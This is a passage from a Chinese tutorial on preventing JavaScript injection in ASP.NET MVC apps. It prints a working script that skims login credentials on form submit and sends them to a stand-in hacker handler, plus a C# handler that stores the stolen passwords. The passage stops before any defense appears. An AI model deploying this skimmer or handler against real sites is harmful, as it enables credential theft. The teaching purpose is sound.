技术开发 频道

在ASP.NET MVC应用程序中防止JavaScript注入式攻击

 当这段文本再次显示到回馈表单页面时,该<script>标签即会调用一个位于黑客指定的网站中的一段JavaScript脚本程序。列表1提供了这段JavaScript脚本程序。

 列表1–EvilScript.js
 

if (window.attachEvent)
    document.forms[
0].attachEvent('onsubmit', fn);

function fn(e)
{
    var userName
= document.getElementById("userName").value;
    var password
= document.getElementById("password").value;
    var d
= new Date();
    var url
= "HackerSite/EvilHandler.ashx?userName=" + userName
      
+ "&password=" + password + "&d=" + d.valueOf();

    var script
= document.createElement("script");
    script.type
= 'text/javascript';
    script.src
= url;
    document.body.appendChild( script );
}
 

 列表1中的脚本把一个事件处理器绑定到与登录表单的submit事件上。当提交该登录表单时,即执行该fn()JavaScript函数。这个函数首先会取得用户名和口令表单域相应的值。接下来,该脚本动态地把一个<script>标签注入到该页面中并且把此用户名和口令传递给一个名字为EvilHandler.ashx的(可能是远程的)网站上的一个处理程序中。

 列表2给出了可能的EvilHandler中的代码。该EvilHandler简单地通过查询字符串取得用户名和口令,然后把该用户名和口令存储到数据库中。

 列表2–EvilHandler.ashx
 

using System;
using System.Collections;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Xml.Linq;

namespace CustomerSurvey.HackerSite
{
    [WebService(Namespace
= "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo
= WsiProfiles.BasicProfile1_1)]
    
public class EvilHandler : IHttpHandler
     {
        
public void ProcessRequest(HttpContext context)
         {
            
//从URL中取得用户名和口令
             string userName = context.Request.QueryString["userName"];
            
string password = context.Request.QueryString["password"];
            
            
//存储到数据库中
            HackerDataContext db = new HackerDataContext();
            StolenPassword pwd
= new StolenPassword();
            pwd.userName
= userName;
            pwd.password
= password;
            db.StolenPasswords.InsertOnSubmit(pwd);
            db.SubmitChanges();
        }

        
public bool IsReusable
        {
            
get
            {
                
return false;
            }
        }
    }
}

 想象一下,该顾客回馈表单出现在一个银行网站上。这种情况下,黑客现在就能够访问每个人的帐户信息,然后把每个人金钱转移到位于Cayman Islands上的一个银行帐户中……但是,如果我们对此作好了必要的准备则通过简单的努力就可以防止这种潜在的危险。

0
相关文章